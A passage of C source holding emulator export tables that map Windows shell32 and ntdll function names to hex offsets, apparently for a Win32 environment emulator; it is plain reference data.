{"SheFullPathW", 0x000BBE2C, NULL, NULL}, {"SheGetCurDrive", 0x000BBD03, NULL, NULL}, {"SheGetDirA", 0x000BBA5C, NULL, NULL}, {"SheGetDirExW", 0x000BBEE4, NULL, NULL}, {"SheGetDirW", 0x000BB9BA, NULL, NULL}, {"SheGetPathOffsetW", 0x000BB940, NULL, NULL}, {"SheRemoveQuotesA", 0x000CC08F, NULL, NULL}, {"SheRemoveQuotesW", 0x000CC053, NULL, NULL}, {"SheSetCurDrive", 0x000BBD29, NULL, NULL}, {"SheShortenPathA", 0x000CC2F9, NULL, NULL}, {"SheShortenPathW", 0x000CC146, NULL, NULL}, {"ShellAboutA", 0x000A2F5E, NULL, NULL}, {"ShellAboutW", 0x000A2F0F, NULL, NULL}, {"ShellExec_RunDLL", 0x00108A1E, NULL, NULL}, {"ShellExec_RunDLLA", 0x00108A1E, NULL, NULL}, {"ShellExec_RunDLLW", 0x00108A84, NULL, NULL}, {"ShellExecuteA", 0x000811A8, NULL, NULL}, {"ShellExecuteEx", 0x00080E7D, NULL, NULL}, {"ShellExecuteExA", 0x00080E7D, NULL, NULL}, {"ShellExecuteExW", 0x0004991B, NULL, NULL}, {"ShellExecuteW", 0x000F5E68, NULL, NULL}, {"ShellHookProc", 0x00062369, NULL, NULL}, {"Shell_NotifyIcon", 0x00068C16, NULL, NULL}, {"Shell_NotifyIconA", 0x00068C16, NULL, NULL}, {"Shell_NotifyIconW", 0x0006A587, NULL, NULL}, {"StrChrA", 0x001DCD45, NULL, NULL}, {"StrChrIA", 0x001DCD50, NULL, NULL}, {"StrChrIW", 0x001DCD5B, NULL, NULL}, {"StrChrW", 0x001DCD66, NULL, NULL}, {"StrCmpNA", 0x001DCD71, NULL, NULL}, {"StrCmpNIA", 0x001DCD7C, NULL, NULL}, {"StrCmpNIW", 0x001DCD87, NULL, NULL}, {"StrCmpNW", 0x001DCD92, NULL, NULL}, {"StrCpyNA", 0x000BB557, NULL, NULL}, {"StrCpyNW", 0x000BB516, NULL, NULL}, {"StrNCmpA", 0x000BB619, NULL, NULL}, {"StrNCmpIA", 0x000BB6FE, NULL, NULL}, {"StrNCmpIW", 0x000BB691, NULL, NULL}, {"StrNCmpW", 0x000BB593, NULL, NULL}, {"StrNCpyA", 0x000BB7C1, NULL, NULL}, {"StrNCpyW", 0x000BB776, NULL, NULL}, {"StrRChrA", 0x001DCD9D, NULL, NULL}, {"StrRChrIA", 0x001DCDA8, NULL, NULL}, {"StrRChrIW", 0x001DCDB3, NULL, NULL}, {"StrRChrW", 0x001DCDBE, NULL, NULL}, {"StrRStrA", 0x000BB87E, NULL, NULL}, {"StrRStrIA", 0x001DCDC9, NULL, NULL}, {"StrRStrIW", 0x001DCDD4, NULL, NULL}, {"StrRStrW", 0x000BB811, NULL, NULL}, {"StrStrA", 0x001DCDDF, NULL, NULL}, {"StrStrIA", 0x001DCDEA, NULL, NULL}, {"StrStrIW", 0x000711BF, NULL, NULL}, {"StrStrW", 0x001DCDF5, NULL, NULL}, {"WOWShellExecute", 0x00108888, NULL, NULL}, {"SHAllocShared", 0x0002A59E, NULL, NULL}, {"SHLockShared", 0x0002A5C9, NULL, NULL}, {"SHUnlockShared", 0x0002A5DE, NULL, NULL}, {"SHFreeShared", 0x0002A5B4, NULL, NULL}, {"RealDriveType", 0x00030E72, NULL, NULL}, {"SHFlushSFCache", 0x000681BE, NULL, NULL}, {"SHChangeNotification_Lock", 0x00069325, NULL, NULL}, {"SHChangeNotification_Unlock", 0x00037ED0, NULL, NULL}, {"WriteCabinetState", 0x000A71AF, NULL, NULL}, {"PathProcessCommand", 0x00054ED3, NULL, NULL}, {"ReadCabinetState", 0x0007482C, NULL, NULL}, {"IsUserAnAdmin", 0x000545A3, NULL, NULL}, {"SHPropStgCreate", 0x00114816, NULL, NULL}, {"SHPropStgReadMultiple", 0x00077AB9, NULL, NULL}, {"SHPropStgWriteMultiple", 0x00115476, NULL, NULL}, {"CDefFolderMenu_Create", 0x000DA34E, NULL, NULL}, {"CDefFolderMenu_Create2", 0x000DA3ED, NULL, NULL}, {"SHGetSetFolderCustomSettingsW", 0x0006460D, NULL, NULL}, {"SHMultiFileProperties", 0x001165F0, NULL, NULL}, {"SHGetImageList", 0x00046941, NULL, NULL}, {"RestartDialogEx", 0x000B8465, NULL, NULL}, {"SHCreateFileExtractIconW", 0x00102ED2, NULL, NULL}, {"SHLimitInputEdit", 0x0011614A, NULL, NULL}, {"SHGetShellStyleHInstance", 0x000D5574, NULL, NULL}, {"SHGetAttributesFromDataObject", 0x000D2B61, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export ntdll_exports[] = { {"PropertyLengthAsVariant", 0x00059D2B, NULL, NULL}, {"RtlConvertPropertyToVariant", 0x00059C93, NULL, NULL}, {"RtlConvertVariantToProperty", 0x00059BF5, NULL, NULL}, {"RtlInterlockedPushListSList", 0x00002AD0, NULL, NULL}, {"RtlUlongByteSwap", 0x00002B30, NULL, NULL}, {"RtlUlonglongByteSwap", 0x00002B40, NULL, NULL}, {"RtlUshortByteSwap", 0x00002B20, NULL, NULL}, {"CsrAllocateCaptureBuffer", 0x0001EB78, NULL, NULL}, {"CsrAllocateMessagePointer", 0x0001EBD9, NULL, NULL}, {"CsrCaptureMessageBuffer", 0x0001E3CF, NULL, NULL}, {"CsrCaptureMessageMultiUnicodeStringsInPlace", 0x0002064D, NULL, NULL}, {"CsrCaptureMessageString", 0x0002070E, NULL, NULL}, {"CsrCaptureTimeout", 0x00051C6A, NULL, NULL}, {"CsrClientCallServer", 0x00012D91, NULL, NULL}, {"CsrClientConnectToServer", 0x00021207, NULL, NULL}, {"CsrFreeCaptureBuffer", 0x0001EB1F, NULL, NULL}, {"CsrGetProcessId", 0x00051C5F, NULL, NULL}, {"CsrIdentifyAlertableThread", 0x00051BDA, NULL, NULL}, {"CsrNewThread", 0x0001B0AA, NULL, NULL}, {"CsrProbeForRead", 0x00051CEB, NULL, NULL}, {"CsrProbeForWrite", 0x00051C9D, NULL, NULL}, {"CsrSetPriorityClass", 0x00051C16, NULL, NULL}, {"DbgBreakPoint", 0x0000120E, NULL, NULL}, {"DbgPrint", 0x0002FB6F, NULL, NULL}, {"DbgPrintEx", 0x0001EAF5, NULL, NULL}, {"DbgPrintReturnControlC", 0x00059EB2, NULL, NULL}, {"DbgPrompt", 0x00059FA1, NULL, NULL}, {"DbgQueryDebugFilterState", 0x00059FE7, NULL, NULL}, {"DbgSetDebugFilterState", 0x00059FF7, NULL, NULL}, {"DbgUiConnectToDbg", 0x00051D21, NULL, NULL}, {"DbgUiContinue", 0x00051DCC, NULL, NULL}, {"DbgUiConvertStateChangeStructure", 0x00051EF4, NULL, NULL}, {"DbgUiDebugActiveProcess", 0x00051EB2, NULL, NULL}, {"DbgUiGetThreadDebugObject", 0x00051D76, NULL, NULL}, {"DbgUiIssueRemoteBreakin", 0x00051E71, NULL, NULL}, {"DbgUiRemoteBreakin", 0x00051E13, NULL, NULL}, {"DbgUiSetThreadDebugObject", 0x00051D88, NULL, NULL}, {"DbgUiStopDebugging", 0x00051DF1, NULL, NULL}, {"DbgUiWaitStateChange", 0x00051DA5, NULL, NULL}, {"DbgUserBreakPoint", 0x00001212, NULL, NULL}, {"KiFastSystemCall", 0x0000E510, NULL, NULL}, {"KiFastSystemCallRet", 0x0000E514, NULL, NULL}, {"KiIntSystemCall", 0x0000E520, NULL, NULL}, {"KiRaiseUserExceptionDispatcher", 0x0000E4C8, NULL, NULL}, {"KiUserApcDispatcher", 0x0000E450, NULL, NULL}, {"KiUserCallbackDispatcher", 0x0000E460, NULL, NULL}, {"KiUserExceptionDispatcher", 0x0000E47C, NULL, NULL}, {"LdrAccessOutOfProcessResource", 0x000209B8, NULL, NULL}, {"LdrAccessResource", 0x000127A8, NULL, NULL}, {"LdrAddRefDll", 0x0002CB05, NULL, NULL}, {"LdrAlternateResourcesEnabled", 0x0004888F, NULL, NULL}, {"LdrCreateOutOfProcessImage", 0x000201C3, NULL, NULL}, {"LdrDestroyOutOfProcessImage", 0x000202DD, NULL, NULL}, {"LdrDisableThreadCalloutsForDll", 0x0001D6FB, NULL, NULL}, {"LdrEnumResources", 0x0005A110, NULL, NULL}, {"LdrEnumerateLoadedModules", 0x00021405, NULL, NULL}, {"LdrFindCreateProcessManifest", 0x0001FE25, NULL, NULL}, {"LdrFindEntryForAddress", 0x0005A07B, NULL, NULL}, {"LdrFindResourceDirectory_U", 0x0001C26D, NULL, NULL}, {"LdrFindResourceEx_U", 0x0005AE3E, NULL, NULL}, {"LdrFindResource_U", 0x00012787, NULL, NULL}, {"LdrFlushAlternateResourceModules", 0x0002ED52, NULL, NULL}, {"LdrGetDllHandle", 0x000166A0, NULL, NULL}, {"LdrGetDllHandleEx", 0x000166C1, NULL, NULL}, {"LdrGetProcedureAddress", 0x00017EA8, NULL, NULL}, {"LdrHotPatchRoutine", 0x000521DE, NULL, NULL}, {"LdrInitShimEngineDynamic", 0x00052CC2, NULL, NULL}, {"LdrInitializeThunk", 0x00001166, NULL, NULL}, {"LdrLoadAlternateResourceModule", 0x00012808, NULL, NULL}, {"LdrLoadDll", 0x000163C3, NULL, NULL}, {"LdrLockLoaderLock", 0x00012C63, NULL, NULL}, {"LdrProcessRelocationBlock", 0x0005B52C, NULL, NULL}, {"LdrQueryImageFileExecutionOptions", 0x0001CCA3, NULL, NULL}, {"LdrQueryProcessModuleInformation", 0x00052A31, NULL, NULL}, {"LdrSetAppCompatDllRedirectionCallback", 0x00052A51, NULL, NULL}, {"LdrSetDllManifestProber", 0x0002221F, NULL, NULL}, {"LdrShutdownProcess", 0x00023BD8, NULL, NULL}, {"LdrShutdownThread", 0x00013956, NULL, NULL}, {"LdrUnloadAlternateResourceModule", 0x00019951, NULL, NULL}, {"LdrUnloadDll", 0x0001738B, NULL, NULL}, {"LdrUnlockLoaderLock", 0x00012D19, NULL, NULL}, {"LdrVerifyImageMatchesChecksum", 0x00030A3C, NULL, NULL}, {"NlsAnsiCodePage", 0x0007E098, NULL, NULL}, {"NlsMbCodePageTag", 0x0007E0A0, NULL, NULL}, {"NlsMbOemCodePageTag", 0x0007E0A8, NULL, NULL}, {"NtAcceptConnectPort", 0x0000CE5E, NULL, NULL}, {"NtAccessCheck", 0x0000CE6E, NULL, NULL}, {"NtAccessCheckAndAuditAlarm", 0x0000CE7E, NULL, NULL}, {"NtAccessCheckByType", 0x0000CE8E, NULL, NULL}, {"NtAccessCheckByTypeAndAuditAlarm", 0x0000CE9E, NULL, NULL}, {"NtAccessCheckByTypeResultList", 0x0000CEAE, NULL, NULL}, {"NtAccessCheckByTypeResultListAndAuditAlarm", 0x0000CEBE, NULL, NULL}, {"NtAccessCheckByTypeResultListAndAuditAlarmByHandle", 0x0000CECE, NULL, NULL}, {"NtAddAtom", 0x0000CEDE, NULL, NULL}, {"NtAddBootEntry", 0x0000CEEE, NULL, NULL}, {"NtAdjustGroupsToken", 0x0000CEFE, NULL, NULL}, {"NtAdjustPrivilegesToken", 0x0000CF0E, NULL, NULL}, {"NtAlertResumeThread", 0x0000CF1E, NULL, NULL}, {"NtAlertThread", 0x0000CF2E, NULL, NULL}, {"NtAllocateLocallyUniqueId", 0x0000CF3E, NULL, NULL}, {"NtAllocateUserPhysicalPages", 0x0000CF4E, NULL, NULL}, {"NtAllocateUuids", 0x0000CF5E, NULL, NULL}, {"NtAllocateVirtualMemory", 0x0000CF6E, NULL, NULL}, {"NtAreMappedFilesTheSame", 0x0000CF7E, NULL, NULL}, {"NtAssignProcessToJobObject", 0x0000CF8E, NULL, NULL}, {"NtCallbackReturn", 0x0000CF9E, NULL, NULL}, {"NtCancelDeviceWakeupRequest", 0x0000CFAE, NULL, NULL}, {"NtCancelIoFile", 0x0000CFBE, NULL, NULL}, {"NtCancelTimer", 0x0000CFCE, NULL, NULL}, {"NtClearEvent", 0x0000CFDE, NULL, NULL}, {"NtClose", 0x0000CFEE, NULL, NULL}, {"NtCloseObjectAuditAlarm", 0x0000CFFE, NULL, NULL}, {"NtCompactKeys", 0x0000D00E, NULL, NULL}, {"NtCompareTokens", 0x0000D01E, NULL, NULL}, {"NtCompleteConnectPort", 0x0000D02E, NULL, NULL}, {"NtCompressKey", 0x0000D03E, NULL, NULL}, {"NtConnectPort", 0x0000D04E, NULL, NULL}, {"NtContinue", 0x0000D05E, NULL, NULL}, {"NtCreateDebugObject", 0x0000D06E, NULL, NULL}, {"NtCreateDirectoryObject", 0x0000D07E, NULL, NULL}, {"NtCreateEvent", 0x0000D08E, NULL, NULL}, {"NtCreateEventPair", 0x0000D09E, NULL, NULL}, {"NtCreateFile", 0x0000D0AE, NULL, NULL}, {"NtCreateIoCompletion", 0x0000D0BE, NULL, NULL}, {"NtCreateJobObject", 0x0000D0CE, NULL, NULL}, {"NtCreateJobSet", 0x0000D0DE, NULL, NULL}, {"NtCreateKey", 0x0000D0EE, NULL, NULL}, {"NtCreateKeyedEvent", 0x0000DFCE, NULL, NULL}, {"NtCreateMailslotFile", 0x0000D0FE, NULL, NULL}, {"NtCreateMutant", 0x0000D10E, NULL, NULL}, {"NtCreateNamedPipeFile", 0x0000D11E, NULL, NULL}, {"NtCreatePagingFile", 0x0000D12E, NULL, NULL}, {"NtCreatePort", 0x0000D13E, NULL, NULL}, {"NtCreateProcess", 0x0000D14E, NULL, NULL}, {"NtCreateProcessEx", 0x0000D15E, NULL, NULL}, {"NtCreateProfile", 0x0000D16E, NULL, NULL}, {"NtCreateSection", 0x0000D17E, NULL, NULL}, {"NtCreateSemaphore", 0x0000D18E, NULL, NULL}, {"NtCreateSymbolicLinkObject", 0x0000D19E, NULL, NULL}, {"NtCreateThread", 0x0000D1AE, NULL, NULL}, {"NtCreateTimer", 0x0000D1BE, NULL, NULL}, {"NtCreateToken", 0x0000D1CE, NULL, NULL}, {"NtCreateWaitablePort", 0x0000D1DE, NULL, NULL}, {"NtCurrentTeb", 0x0000121E, NULL, NULL}, {"NtDebugActiveProcess", 0x0000D1EE, NULL, NULL}, {"NtDebugContinue", 0x0000D1FE, NULL, NULL}, {"NtDelayExecution", 0x0000D20E, NULL, NULL}, {"NtDeleteAtom", 0x0000D21E, NULL, NULL}, {"NtDeleteBootEntry", 0x0000D22E, NULL, NULL}, {"NtDeleteFile", 0x0000D23E, NULL, NULL}, {"NtDeleteKey", 0x0000D24E, NULL, NULL}, {"NtDeleteObjectAuditAlarm", 0x0000D25E, NULL, NULL}, {"NtDeleteValueKey", 0x0000D26E, NULL, NULL}, {"NtDeviceIoControlFile", 0x0000D27E, NULL, NULL}, {"NtDisplayString", 0x0000D28E, NULL, NULL}, {"NtDuplicateObject", 0x0000D29E, NULL, NULL}, {"NtDuplicateToken", 0x0000D2AE, NULL, NULL}, {"NtEnumerateBootEntries", 0x0000D2BE, NULL, NULL}, {"NtEnumerateKey", 0x0000D2CE, NULL, NULL}, {"NtEnumerateSystemEnvironmentValuesEx", 0x0000D2DE, NULL, NULL}, {"NtEnumerateValueKey", 0x0000D2EE, NULL, NULL}, {"NtExtendSection", 0x0000D2FE, NULL, NULL}, {"NtFilterToken", 0x0000D30E, NULL, NULL}, {"NtFindAtom", 0x0000D31E, NULL, NULL}, {"NtFlushBuffersFile", 0x0000D32E, NULL, NULL}, {"NtFlushInstructionCache", 0x0000D33E, NULL, NULL}, {"NtFlushKey", 0x0000D34E, NULL, NULL}, {"NtFlushVirtualMemory", 0x0000D35E, NULL, NULL}, {"NtFlushWriteBuffer", 0x0000D36E, NULL, NULL}, {"NtFreeUserPhysicalPages", 0x0000D37E, NULL, NULL}, {"NtFreeVirtualMemory", 0x0000D38E, NULL, NULL}, {"NtFsControlFile", 0x0000D39E, NULL, NULL}, {"NtGetContextThread", 0x0000D3AE, NULL, NULL}, {"NtGetDevicePowerState", 0x0000D3BE, NULL, NULL}, {"NtGetPlugPlayEvent", 0x0000D3CE, NULL, NULL}, {"NtGetWriteWatch", 0x0000D3DE, NULL, NULL}, {"NtImpersonateAnonymousToken", 0x0000D3EE, NULL, NULL}, {"NtImpersonateClientOfPort", 0x0000D3FE, NULL, NULL}, {"NtImpersonateThread", 0x0000D40E, NULL, NULL}, {"NtInitializeRegistry", 0x0000D41E, NULL, NULL}, {"NtInitiatePowerAction", 0x0000D42E, NULL, NULL}, {"NtIsProcessInJob", 0x0000D43E, NULL, NULL}, {"NtIsSystemResumeAutomatic", 0x0000D44E, NULL, NULL}, {"NtListenPort", 0x0000D45E, NULL, NULL}, {"NtLoadDriver", 0x0000D46E, NULL, NULL}, {"NtLoadKey2", 0x0000D48E, NULL, NULL}, {"NtLoadKey", 0x0000D47E, NULL, NULL}, {"NtLockFile", 0x0000D49E, NULL, NULL}, {"NtLockProductActivationKeys", 0x0000D4AE, NULL, NULL}, {"NtLockRegistryKey", 0x0000D4BE, NULL, NULL}, {"NtLockVirtualMemory", 0x0000D4CE, NULL, NULL}, {"NtMakePermanentObject", 0x0000D4DE, NULL, NULL}, {"NtMakeTemporaryObject", 0x0000D4EE, NULL, NULL}, {"NtMapUserPhysicalPages", 0x0000D4FE, NULL, NULL}, {"NtMapUserPhysicalPagesScatter", 0x0000D50E, NULL, NULL}, {"NtMapViewOfSection", 0x0000D51E, NULL, NULL}, {"NtModifyBootEntry", 0x0000D52E, NULL, NULL}, {"NtNotifyChangeDirectoryFile", 0x0000D53E, NULL, NULL}, {"NtNotifyChangeKey", 0x0000D54E, NULL, NULL}, {"NtNotifyChangeMultipleKeys", 0x0000D55E, NULL, NULL}, {"NtOpenDirectoryObject", 0x0000D56E, NULL, NULL}, {"NtOpenEvent", 0x0000D57E, NULL, NULL}, {"NtOpenEventPair", 0x0000D58E, NULL, NULL}, {"NtOpenFile", 0x0000D59E, NULL, NULL}, {"NtOpenIoCompletion", 0x0000D5AE, NULL, NULL}, {"NtOpenJobObject", 0x0000D5BE, NULL, NULL}, {"NtOpenKey", 0x0000D5CE, NULL, NULL}, {"NtOpenKeyedEvent", 0x0000DFDE, NULL, NULL}, {"NtOpenMutant", 0x0000D5DE, NULL, NULL}, {"NtOpenObjectAuditAlarm", 0x0000D5EE, NULL, NULL}, {"NtOpenProcess", 0x0000D5FE, NULL, NULL}, {"NtOpenProcessToken", 0x0000D60E, NULL, NULL}, {"NtOpenProcessTokenEx", 0x0000D61E, NULL, NULL}, {"NtOpenSection", 0x0000D62E, NULL, NULL}, {"NtOpenSemaphore", 0x0000D63E, NULL, NULL}, {"NtOpenSymbolicLinkObject", 0x0000D64E, NULL, NULL}, {"NtOpenThread", 0x0000D65E, NULL, NULL}, {"NtOpenThreadToken", 0x0000D66E, NULL, NULL}, {"NtOpenThreadTokenEx", 0x0000D67E, NULL, NULL}, {"NtOpenTimer", 0x0000D68E, NULL, NULL}, {"NtPlugPlayControl", 0x0000D69E, NULL, NULL}, {"NtPowerInformation", 0x0000D6AE, NULL, NULL}, {"NtPrivilegeCheck", 0x0000D6BE, NULL, NULL}, {"NtPrivilegeObjectAuditAlarm", 0x0000D6CE, NULL, NULL}, {"NtPrivilegedServiceAuditAlarm", 0x0000D6DE, NULL, NULL}, {"NtProtectVirtualMemory", 0x0000D6EE, NULL, NULL}, {"NtPulseEvent", 0x0000D6FE, NULL, NULL}, {"NtQueryAttributesFile", 0x0000D70E, NULL, NULL}, {"NtQueryBootEntryOrder", 0x0000D71E, NULL, NULL}, {"NtQueryBootOptions", 0x0000D72E, NULL, NULL}, {"NtQueryDebugFilterState", 0x0000D73E, NULL, NULL}, {"NtQueryDefaultLocale", 0x0000D74E, NULL, NULL}, {"NtQueryDefaultUILanguage", 0x0000D75E, NULL, NULL}, {"NtQueryDirectoryFile", 0x0000D76E, NULL, NULL}, {"NtQueryDirectoryObject", 0x0000D77E, NULL, NULL}, {"NtQueryEaFile", 0x0000D78E, NULL, NULL}, {"NtQueryEvent", 0x0000D79E, NULL, NULL}, {"NtQueryFullAttributesFile", 0x0000D7AE, NULL, NULL}, {"NtQueryInformationAtom", 0x0000D7BE, NULL, NULL}, {"NtQueryInformationFile", 0x0000D7CE, NULL, NULL}, {"NtQueryInformationJobObject", 0x0000D7DE, NULL, NULL}, {"NtQueryInformationPort", 0x0000D7EE, NULL, NULL}, {"NtQueryInformationProcess", 0x0000D7FE, NULL, NULL}, {"NtQueryInformationThread", 0x0000D80E, NULL, NULL}, {"NtQueryInformationToken", 0x0000D81E, NULL, NULL}, {"NtQueryInstallUILanguage", 0x0000D82E, NULL, NULL}, {"NtQueryIntervalProfile", 0x0000D83E, NULL, NULL}, {"NtQueryIoCompletion", 0x0000D84E, NULL, NULL}, {"NtQueryKey", 0x0000D85E, NULL, NULL}, {"NtQueryMultipleValueKey", 0x0000D86E, NULL, NULL}, {"NtQueryMutant", 0x0000D87E, NULL, NULL}, {"NtQueryObject", 0x0000D88E, NULL, NULL}, {"NtQueryOpenSubKeys", 0x0000D89E, NULL, NULL}, {"NtQueryPerformanceCounter", 0x0000D8AE, NULL, NULL}, {"NtQueryPortInformationProcess", 0x0000E00E, NULL, NULL}, {"NtQueryQuotaInformationFile", 0x0000D8BE, NULL, NULL}, {"NtQuerySection", 0x0000D8CE, NULL, NULL}, {"NtQuerySecurityObject", 0x0000D8DE, NULL, NULL}, {"NtQuerySemaphore", 0x0000D8EE, NULL, NULL}, {"NtQuerySymbolicLinkObject", 0x0000D8FE, NULL, NULL}, {"NtQuerySystemEnvironmentValue", 0x0000D90E, NULL, NULL}, {"NtQuerySystemEnvironmentValueEx", 0x0000D91E, NULL, NULL}, {"NtQuerySystemInformation", 0x0000D92E, NULL, NULL}, {"NtQuerySystemTime", 0x0000D93E, NULL, NULL}, {"NtQueryTimer", 0x0000D94E, NULL, NULL}, {"NtQueryTimerResolution", 0x0000D95E, NULL, NULL}, {"NtQueryValueKey", 0x0000D96E, NULL, NULL}, {"NtQueryVirtualMemory", 0x0000D97E, NULL, NULL}, {"NtQueryVolumeInformationFile", 0x0000D98E, NULL, NULL}, {"NtQueueApcThread", 0x0000D99E, NULL, NULL}, {"NtRaiseException", 0x0000D9AE, NULL, NULL}, {"NtRaiseHardError", 0x0000D9BE, NULL, NULL}, {"NtReadFile", 0x0000D9CE, NULL, NULL}, {"NtReadFileScatter", 0x0000D9DE, NULL, NULL}, {"NtReadRequestData", 0x0000D9EE, NULL, NULL}, {"NtReadVirtualMemory", 0x0000D9FE, NULL, NULL}, {"NtRegisterThreadTerminatePort", 0x0000DA0E, NULL, NULL}, {"NtReleaseKeyedEvent", 0x0000DFEE, NULL, NULL}, {"NtReleaseMutant", 0x0000DA1E, NULL, NULL}, {"NtReleaseSemaphore", 0x0000DA2E, NULL, NULL}, {"NtRemoveIoCompletion", 0x0000DA3E, NULL, NULL}, {"NtRemoveProcessDebug", 0x0000DA4E, NULL, NULL}, {"NtRenameKey", 0x0000DA5E, NULL, NULL}, {"NtReplaceKey", 0x0000DA6E, NULL, NULL}, {"NtReplyPort", 0x0000DA7E, NULL, NULL}, {"NtReplyWaitReceivePort", 0x0000DA8E, NULL, NULL}, {"NtReplyWaitReceivePortEx", 0x0000DA9E, NULL, NULL}, {"NtReplyWaitReplyPort", 0x0000DAAE, NULL, NULL}, {"NtRequestDeviceWakeup", 0x0000DABE, NULL, NULL}, {"NtRequestPort", 0x0000DACE, NULL, NULL}, {"NtRequestWaitReplyPort", 0x0000DADE, NULL, NULL}, {"NtRequestWakeupLatency", 0x0000DAEE, NULL, NULL}, {"NtResetEvent", 0x0000DAFE, NULL, NULL}, {"NtResetWriteWatch", 0x0000DB0E, NULL, NULL}, {"NtRestoreKey", 0x0000DB1E, NULL, NULL}, {"NtResumeProcess", 0x0000DB2E, NULL, NULL}, {"NtResumeThread", 0x0000DB3E, NULL, NULL}, {"NtSaveKey", 0x0000DB4E, NULL, NULL}, {"NtSaveKeyEx", 0x0000DB5E, NULL, NULL}, {"NtSaveMergedKeys", 0x0000DB6E, NULL, NULL}, {"NtSecureConnectPort", 0x0000DB7E, NULL, NULL}, {"NtSetBootEntryOrder", 0x0000DB8E, NULL, NULL}, {"NtSetBootOptions", 0x0000DB9E, NULL, NULL}, {"NtSetContextThread", 0x0000DBAE, NULL, NULL}, {"NtSetDebugFilterState", 0x0000DBBE, NULL, NULL}, {"NtSetDefaultHardErrorPort", 0x0000DBCE, NULL, NULL}, {"NtSetDefaultLocale", 0x0000DBDE, NULL, NULL}, {"NtSetDefaultUILanguage", 0x0000DBEE, NULL, NULL}, {"NtSetEaFile", 0x0000DBFE, NULL, NULL}, {"NtSetEvent", 0x0000DC0E, NULL, NULL}, {"NtSetEventBoostPriority", 0x0000DC1E, NULL, NULL}, {"NtSetHighEventPair", 0x0000DC2E, NULL, NULL}, {"NtSetHighWaitLowEventPair", 0x0000DC3E, NULL, NULL}, {"NtSetInformationDebugObject", 0x0000DC4E, NULL, NULL}, {"NtSetInformationFile", 0x0000DC5E, NULL, NULL}, {"NtSetInformationJobObject", 0x0000DC6E, NULL, NULL}, {"NtSetInformationKey", 0x0000DC7E, NULL, NULL}, {"NtSetInformationObject", 0x0000DC8E, NULL, NULL}, {"NtSetInformationProcess", 0x0000DC9E, NULL, NULL}, {"NtSetInformationThread", 0x0000DCAE, NULL, NULL}, {"NtSetInformationToken", 0x0000DCBE, NULL, NULL}, {"NtSetIntervalProfile", 0x0000DCCE, NULL, NULL}, {"NtSetIoCompletion", 0x0000DCDE, NULL, NULL}, {"NtSetLdtEntries", 0x0000DCEE, NULL, NULL}, {"NtSetLowEventPair", 0x0000DCFE, NULL, NULL}, {"NtSetLowWaitHighEventPair", 0x0000DD0E, NULL, NULL}, {"NtSetQuotaInformationFile", 0x0000DD1E, NULL, NULL}, {"NtSetSecurityObject", 0x0000DD2E, NULL, NULL}, {"NtSetSystemEnvironmentValue", 0x0000DD3E, NULL, NULL}, {"NtSetSystemEnvironmentValueEx", 0x0000DD4E, NULL, NULL}, {"NtSetSystemInformation", 0x0000DD5E, NULL, NULL}, {"NtSetSystemPowerState", 0x0000DD6E, NULL, NULL}, {"NtSetSystemTime", 0x0000DD7E, NULL, NULL}, {"NtSetThreadExecutionState", 0x0000DD8E, NULL, NULL}, {"NtSetTimer", 0x0000DD9E, NULL, NULL}, {"NtSetTimerResolution", 0x0000DDAE, NULL, NULL}, {"NtSetUuidSeed", 0x0000DDBE, NULL, NULL}, {"NtSetValueKey", 0x0000DDCE, NULL, NULL}, {"NtSetVolumeInformationFile", 0x0000DDDE, NULL, NULL}, {"NtShutdownSystem", 0x0000DDEE, NULL, NULL}, {"NtSignalAndWaitForSingleObject", 0x0000DDFE, NULL, NULL}, {"NtStartProfile", 0x0000DE0E, NULL, NULL}, {"NtStopProfile", 0x0000DE1E, NULL, NULL}, {"NtSuspendProcess", 0x0000DE2E, NULL, NULL}, {"NtSuspendThread", 0x0000DE3E, NULL, NULL}, {"NtSystemDebugControl", 0x0000DE4E, NULL, NULL}, {"NtTerminateJobObject", 0x0000DE5E, NULL, NULL}, {"NtTerminateProcess", 0x0000DE6E, NULL, NULL}, {"NtTerminateThread", 0x0000DE7E, NULL, NULL}, {"NtTestAlert", 0x0000DE8E, NULL, NULL}, {"NtTraceEvent", 0x0000DE9E, NULL, NULL}, {"NtTranslateFilePath", 0x0000DEAE, NULL, NULL}, {"NtUnloadDriver", 0x0000DEBE, NULL, NULL}, {"NtUnloadKey", 0x0000DECE, NULL, NULL}, {"NtUnloadKeyEx", 0x0000DEDE, NULL, NULL}, {"NtUnlockFile", 0x0000DEEE, NULL, NULL}, {"NtUnlockVirtualMemory", 0x0000DEFE, NULL, NULL}, {"NtUnmapViewOfSection", 0x0000DF0E, NULL, NULL}, {"NtVdmControl", 0x0000DF1E, NULL, NULL}, {"NtWaitForDebugEvent", 0x0000DF2E, NULL, NULL}, {"NtWaitForKeyedEvent", 0x0000DFFE, NULL, NULL}, {"NtWaitForMultipleObjects", 0x0000DF3E, NULL, NULL}, {"NtWaitForSingleObject", 0x0000DF4E, NULL, NULL}, {"NtWaitHighEventPair", 0x0000DF5E, NULL, NULL}, {"NtWaitLowEventPair", 0x0000DF6E, NULL, NULL}, {"NtWriteFile", 0x0000DF7E, NULL, NULL}, {"NtWriteFileGather", 0x0000DF8E, NULL, NULL}, {"NtWriteRequestData", 0x0000DF9E, NULL, NULL}, {"NtWriteVirtualMemory", 0x0000DFAE, NULL, NULL}, {"NtYieldExecution", 0x0000DFBE, NULL, NULL}, {"PfxFindPrefix", 0x0005C499, NULL, NULL}, {"PfxInitialize", 0x0005C151, NULL, NULL}, {"PfxInsertPrefix", 0x0005C3B6, NULL, NULL}, {"PfxRemovePrefix", 0x0005C16F, NULL, NULL}, {"RtlAbortRXact", 0x0002B1B1, NULL, NULL}, {"RtlAbsoluteToSelfRelativeSD", 0x00029A19, NULL, NULL}, {"RtlAcquirePebLock", 0x0001040D, NULL, NULL}, {"RtlAcquireResourceExclusive", 0x0002A096, NULL, NULL}, {"RtlAcquireResourceShared", 0x00029FBF, NULL, NULL}, {"RtlActivateActivationContext", 0x00017803, NULL, NULL}, {"RtlActivateActivationContextEx", 0x0001767D, NULL, NULL}, {"RtlActivateActivationContextUnsafeFast", 0x00001198, NULL, NULL}, {"RtlAddAccessAllowedAce", 0x0001883B, NULL, NULL}, {"RtlAddAccessAllowedAceEx", 0x00029A49, NULL, NULL}, {"RtlAddAccessAllowedObjectAce", 0x0005C8A3, NULL, NULL}, {"RtlAddAccessDeniedAce", 0x0002DBEB, NULL, NULL}, {"RtlAddAccessDeniedAceEx", 0x0005C847, NULL, NULL}, {"RtlAddAccessDeniedObjectAce", 0x0005C8F0, NULL, NULL}, {"RtlAddAce", 0x0002B580, NULL, NULL}, {"RtlAddActionToRXact", 0x0002E8BD, NULL, NULL}, 